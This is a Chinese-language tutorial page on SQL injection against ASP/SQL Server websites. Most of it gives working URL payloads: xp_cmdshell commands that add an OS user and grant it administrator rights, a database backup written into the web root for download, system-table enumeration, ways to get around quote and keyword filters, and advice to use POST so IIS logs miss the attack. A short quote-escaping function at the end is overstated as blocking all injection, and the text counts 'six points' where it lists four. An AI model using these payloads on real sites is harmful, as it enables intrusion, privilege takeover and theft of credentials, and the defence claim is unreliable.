萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

SQL注入攻防全解析:ASP 漏洞實戰進階與高級技巧(下)

高級篇:突破困境,提升成功率與效率

掌握入門與進階技巧後,可攻破大多數網站。但面對表名/欄位難以猜測、特殊字元被過濾等情況,如何突破?本篇揭示核心進階手法。

一、善用 SQL Server 系統表與擴展預存程序

SQL Server 功能強大且與作業系統緊密整合,為注入者提供跳板。關鍵實例:

  1. 命令執行與提權:
    ?id=1;exec master..xp_cmdshell "net user name password /add"--
    分號分隔語句,雙連字號註解後段。若以 sa 連線,可新增系統帳號並加入管理員群組:
    ?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--
    兩分鐘內取得最高權限(需 sa 權限)。
  2. 枚舉資料庫與使用者:
    ?id=1; and db_name()>0 取得資料庫名,and user>0 取得連線使用者。
  3. 資料庫備份下載:
    ?id=1;backup database 資料庫名 to disk='c:\inetpub\wwwroot\1.db';--
    結合 IIS 錯誤洩露的絕對路徑,將資料庫備份至 Web 目錄,透過 HTTP 下載完整資料庫(含所有帳號密碼)。不知路徑時可嘗試網路路徑 \\IP\Share\1.db,成功率較低。
  4. 透過系統表枚舉表名、欄位名:
    ?id=1; and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0 暴露第一個使用者資料表名。
    後續以 object_id('表名') 取得內部 ID,再用 col_name(表ID, 序號) 逐一枚舉欄位名。

這六點凝聚半年研究心得,深度理解 SQL Server 內部機制直接決定注入成敗,亦能反哺開發技能——安全與開發本相輔相成。

二、繞過程式過濾限制

常見過濾單引號(')的防禦,對熟手無效。關鍵在於利用函數替換字元:

  • ASCII 字元:where xtype='U' → where xtype=char(85)
  • 中文字元:where name='用戶' → where name=nchar(29992)+nchar(25143)

進階篇所有 Payload 均經優化不含單引號;系統表利用範例亦示範改寫技巧。

三、實戰經驗精華

  1. 關鍵字過濾常忽略大小寫,嘗試 selecT、upDate 等混合大小寫。
  2. 欄位名常與前端表單輸入框 name 屬性一致,登入頁是線索寶庫。
  3. URL 編碼細節:+ 在地址列解析為空格,%2B 為 + 號,%25 為 % 號,請參考 URLEncode 規格。
  4. GET 注入會被 IIS 完整記錄,POST 不記錄,能用 POST 盡量避免 GET。
  5. Access 僅能用 ASCII 逐字解碼;SQL Server 同樣可用,但善用錯誤回顯(Error-based)效率與準確度大幅提升。

防範方案:一行函數擋下所有 SQL 注入

SQL 注入漏洞源於開發者疏忽或過濾不全。提供通用 SafeRequest 函數替代 Request,徹底封殺注入:

Function SafeRequest(ParaName, ParaType)
    ' ParaName: 參數名稱(字串)
    ' ParaType: 參數類型(1=數字,0=字串)
    Dim ParaValue
    ParaValue = Request(ParaName)
    If ParaType = 1 Then
        If Not IsNumeric(ParaValue) Then
            Response.Write "參數 " & ParaName & " 必須為數字型!"
            Response.End
        End If
    Else
        ParaValue = Replace(ParaValue, "'", "''") ' 單引號雙寫轉義
    End If
    SafeRequest = ParaValue
End Function

數字型參數強制驗證 IsNumeric,字串型將單引號轉義為兩個單引號(SQL 標準轉義)。在所有接收參數處改用此函數,可從根源杜絕注入風險。

copyright © 萬盛學電腦網 all rights reserved